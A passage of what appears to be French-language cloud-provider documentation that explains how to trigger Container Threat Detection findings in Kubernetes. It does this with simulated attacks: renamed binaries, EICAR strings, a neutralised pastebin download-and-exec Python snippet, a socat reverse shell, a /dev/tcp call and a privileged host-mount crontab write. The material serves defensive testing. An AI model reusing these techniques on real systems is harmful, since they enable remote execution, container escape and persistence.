        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
     

Cette procédure de test crée un résultat d'exécution : exécution d'un outil d'attaque Kubernetes que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un outil de reconnaissance local

Pour déclencher un résultat Execution: Local Reconnaissance Tool Execution, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, le renomme en outil suspect (linenum.sh), puis l'exécute. Cette action est considérée comme suspecte, car l'exécution du fichier binaire renommé simule un comportement cohérent avec une tentative de reconnaissance locale.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Introduisez un binaire d'outil de reconnaissance local tel que linenum.sh et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
     

   • Nœud ARM :

     tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
     

Cette procédure de test crée un résultat d'exécution : outil de reconnaissance local que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : code Python malveillant exécuté

Aperçu

Cette fonctionnalité est soumise aux "Conditions des offres de pré-DG" de la section "Conditions générales du service" des Conditions spécifiques du service. Les fonctionnalités pré-DG sont disponibles "en l'état" et peuvent avoir une prise en charge limitée. Pour en savoir plus, consultez les descriptions des étapes de lancement.

Pour déclencher un résultat d'exécution : code Python malveillant exécuté, vous pouvez exécuter Python dans la procédure suivante dans votre conteneur.

La procédure déploie la dernière image Python, copie le code Python qui semble malveillant, puis l'exécute. Pour déclencher une détection, le code Python doit sembler malveillant pour le détecteur.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez le script suivant dans un nouveau conteneur.

   Ce code Python provient d'un pot de miel. Toutefois, il a été modifié pour ne pas exécuter le binaire malveillant. L'exécution du script n'entraînera aucune activité malveillante dans votre conteneur. Le fichier binaire à l'URL référencée n'existe pas et la tentative de suivre l'URL génère une erreur 404. Ce comportement est normal. La tentative de téléchargement, de décodage et d'exécution d'un fichier binaire à l'aide d'un script intégré déclenche la détection.

   • Nœud x86 :

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image marketplace.gcr.io/google/python:latest \
        "$tag" -- python -c "import urllib
     import base64
     import os
     
     url = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     f = os.popen(str(page))
     url = 'https://pastebin.com/raw/Z'
     d = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     exec(page)"
     

   • Nœud ARM :

     tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true  -i \
        --image python:3-buster \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- python -c "import urllib
     import base64
     import os
     
     url = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     f = os.popen(str(page))
     url = 'https://pastebin.com/raw/Z'
     d = 'https://pastebin.com/raw/Z'
     page = base64.b64decode(urllib.urlopen(url).read())
     page = ''
     exec(page)"
     

Cette procédure de test crée un résultat d'exécution de code Python malveillant que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Exécution : script Python malveillant exécuté". Pour afficher tous les résultats "Exécution : code Python malveillant exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Exécution : binaire malveillant modifié exécuté

Pour déclencher un résultat "Exécution : binaire malveillant modifié exécuté", modifiez un fichier binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, modifie /etc/issue en un fichier malveillant de test EICAR, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier /etc/issue créé est modifié lors de l'exécution du conteneur en tant que fichier binaire malveillant de test EICAR. Le fichier binaire EICAR est un fichier malveillant connu selon les renseignements sur les menaces.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Déposez le fichier binaire EICAR et exécutez-le :

   • Nœud x86 :

     tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"
     

Cette procédure de test crée un résultat d'exécution de fichier binaire malveillant modifié que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : bibliothèque malveillante modifiée chargée

Pour déclencher un résultat d'exécution : bibliothèque malveillante modifiée chargée, modifiez un fichier existant avec une bibliothèque malveillante dans votre conteneur et chargez-le. Cet exemple déploie la dernière image Ubuntu 24.04, met à jour le fichier /etc/issue avec une bibliothèque malveillante simulée, puis la charge à l'aide de mmap. Le chargement de la bibliothèque d'un fichier existant est inattendu, car la bibliothèque est un fichier de test EICAR, qui est classé comme malveillant par le renseignement sur les menaces.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Ajoutez le fichier EICAR et chargez-le :

   • Nœud x86 :

     tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /etc/issue;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
           sleep 10"
     

   • Nœud ARM :

     tag="ktd-test-modified-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
     "$tag" -- sh -c "
           apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
           echo -n '$eicar' > /etc/issue;
           cat << 'EOF' > /tmp/loader.c
     #include <fcntl.h>
     #include <sys/mman.h>
     #include <sys/stat.h>
     #include <unistd.h>
     #include <stdlib.h>
     int main(int argc, char *argv[]) {
        int fd = open(argv[1], O_RDONLY);
        if (fd == -1) return 1;
        struct stat sb;
        if (fstat(fd, &sb) == -1) return 1;
        void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
        if (addr == MAP_FAILED) return 1;
        write(1, addr, sb.st_size);
        munmap(addr, sb.st_size);
        close(fd);
        return 0;
     }
     EOF
           gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /etc/issue
           sleep 10"
     

Cette procédure de test crée un résultat "Exécution : bibliothèque malveillante modifiée chargée" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré la journalisation pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution de code Netcat à distance dans un conteneur

Pour déclencher un événement Execution: Netcat Remote Code Execution In Container, un binaire capable de communiquer sur le réseau (comme netcat lui-même ou une copie renommée d'un autre utilitaire) doit être présent et exécuté dans le conteneur. Cet exemple déploie la dernière image Ubuntu 24.04 comme base. Il copie le binaire /bin/ls et renomme cette copie en nc (un utilitaire réseau). Ce binaire renommé est ensuite exécuté avec des arguments adaptés à l'interaction réseau. Cette activité est signalée comme suspecte, car elle imite le comportement souvent observé lors de véritables tentatives d'exécution de code à distance dans des environnements conteneurisés.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Introduisez un binaire d'outil de communication réseau tel que nc et exécutez-le avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nc; /tmp/nc -e"
     

   • Nœud ARM :

     tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/nc; /tmp/nc -e"
     

Cette procédure de test crée un résultat Execution: Netcat Remote Code Execution In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution possible de commandes arbitraires via CUPS (CVE-2024-47076)

Pour déclencher un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), l'exécution d'un processus shell par foomatic-rip doit avoir lieu. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/bash dans /tmp/foomatic-rip. Ce binaire renommé et copié est exécuté en tant que script shell pour créer une commande shell enfant. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution de charges de travail arbitraires sur des systèmes compromis.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez la commande avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
        'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
     

   • Nœud ARM :

     tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
        'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
     

Cette procédure de test crée un résultat Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution possible de commandes à distance détectée

Pour déclencher un résultat Execution: Possible Remote Command Execution Detected (aperçu), l'exécution d'une commande ou d'un fichier binaire généralement associé à l'exécution de commandes à distance doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme en touch (ou un autre outil comme find). Ce binaire renommé est ensuite exécuté avec des arguments appropriés pour l'exécution de commandes à distance. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'établir un accès à distance non autorisé vers ou depuis le conteneur.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire tel que touch avec les arguments appropriés :

   • Nœud x86 :

     tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
     

   • Nœud ARM :

     tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
     

Cette procédure de test crée un résultat Execution: Possible Remote Command Execution Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Pour déclencher un résultat Execution: Program Run with Disallowed HTTP Proxy Env, exécutez un programme dans un conteneur en définissant une variable d'environnement de proxy HTTP sur une valeur non autorisée. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/curl. Ce fichier binaire renommé est ensuite exécuté avec une valeur non autorisée définie pour une variable d'environnement de proxy HTTP (par exemple, HTTP_PROXY, http_proxy). La combinaison de l'exécution du programme et de la présence d'un environnement de proxy HTTP non autorisé est signalée comme suspecte, car elle suggère une tentative de communication via un proxy non autorisé.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un fichier binaire compatible avec le réseau, tel que curl, avec une variable d'environnement de proxy HTTP non autorisée :

   • Nœud x86 :

     tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
     

   • Nœud ARM :

     tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
     

Cette procédure de test crée un résultat Execution: Program Run with Disallowed HTTP Proxy Env que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : shell inversé de Socat détecté

Pour déclencher un résultat Execution: Socat Reverse Shell Detected, une connexion d'interface système inversée de processus doit être établie par l'utilitaire socat. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire socat est installé, et un écouteur TCP local est créé, puis lié par l'utilitaire socat. L'interface système inversée créée par socat est signalée comme suspecte, car elle permet à un pirate informatique d'exécuter des charges de travail arbitraires sur le système.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Créez un conteneur et exécutez l'utilitaire socat :

   • Nœud x86 :

     tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
     

   • Nœud ARM :

     tag="ktd-test-socat-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "apt-get update && apt-get install socat -y && (socat UNIX-LISTEN:/tmp/shell.sock STDOUT &) && sleep 2 && timeout 5s socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,sane || true"
     

Cette procédure de test crée un résultat Execution: Socat Reverse Shell Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : modification Cron suspecte (aperçu)

Pour déclencher une détection de modification Cron suspecte, modifiez le fichier /etc/crontab de l'hôte à partir d'un conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, en installant le système de fichiers racine de l'hôte dans le conteneur. Il met ensuite à jour le fichier crontab.

Il s'agit d'un détecteur de surveillance des fichiers qui nécessite une version spécifique de GKE.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez une commande pour modifier le fichier /etc/crontab de l'hôte.

   • Nœud x86 :

     tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
     

   • Nœud ARM :

     tag="ktd-test-cron-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never --rm=true -ti --image ubuntu "$tag"\
        --overrides='{"apiVersion": "v1", "spec": {
        "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"],
        "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
        "securityContext": {"privileged": true},
        "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
        "readOnly": false}]}],
        "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
        "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" }] }}'
     

     Cette procédure de test déclenche un résultat de modification suspecte de cron que vous pouvez afficher dans Security Command Center et, si vous avez configuré Logging pour Container Threat Detection, dans Cloud Logging. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Exécution : objet partagé OpenSSL suspect chargé

Pour déclencher un résultat Execution: Suspicious OpenSSL Shared Object Loaded, exécutez la commande openssl engine avec un argument qui est un fichier se terminant par l'extension .so. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/openssl. Ce binaire renommé est ensuite exécuté avec les arguments de fichier engine et .so fictifs. L'exécution de openssl engine avec un fichier .so est signalée comme suspecte, car elle imite le comportement d'un objet partagé chargé pour exécuter du code malveillant.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez openssl engine avec un faux argument de bibliothèque d'objets partagés :

   • Nœud x86 :

     tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
     

   • Nœud ARM :

     tag="ktd-test-suspicious-openssl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so"
     

Cette procédure de test crée un résultat Execution: Suspicious OpenSSL Shared Object Loaded que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Pour déclencher un résultat Exfiltration: Launch Remote File Copy Tools In Container, exécutez un outil de copie de fichiers à distance courant dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié et renommé /tmp/rsync, puis exécuté pour récupérer un fichier à partir d'une source distante potentiellement malveillante. L'exécution d'un tel outil avec des arguments de récupération de fichiers à distance dans un conteneur est signalée comme suspecte, car elle peut indiquer une tentative de téléchargement et d'exécution de code malveillant ou d'exfiltration de données.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un outil de copie de fichier à distance, comme rsync :

   • Nœud x86 :

     tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/rsync; /tmp/rsync"
     

   • Nœud ARM :

     tag="ktd-test-launch-remote-file-copy-tools-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/rsync; /tmp/rsync"
     

Cette procédure de test crée un résultat Exfiltration: Launch Remote File Copy Tools In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Impact : Détecter les lignes de commande malveillantes

Pour déclencher un résultat Impact: Detect Malicious Cmdlines (Preview), l'exécution d'une ligne de commande avec des arguments ou des modèles malveillants connus doit être observée dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Cela implique de copier le binaire /bin/ls et de renommer cette copie ipfs. Le binaire renommé est ensuite exécuté. Ce comportement est signalé comme suspect, car il peut indiquer une tentative d'exécution de code malveillant ou de contournement des contrôles de sécurité.

1. Définissez des variables d'environnement.

2. Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

   gcloud container clusters get-credentials $CLUSTER_NAME \
       --zone $ZONE \
       --project $PROJECT
   

3. Exécutez un binaire tel que ipfs :

   • Nœud x86 :

     tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
     

   • Nœud ARM :

     tag="ktd-test-detect-malicious-cmdlines-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run \
        --restart=Never \
        --rm=true -i \
        --image marketplace.gcr.io/google/ubuntu2404:latest \
        --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
        {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
        "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
        "value": "arm64" } ]}}' \
        "$tag" -- bash -c \
           "cp /bin/ls /tmp/ipfs; /tmp/ipfs"
     

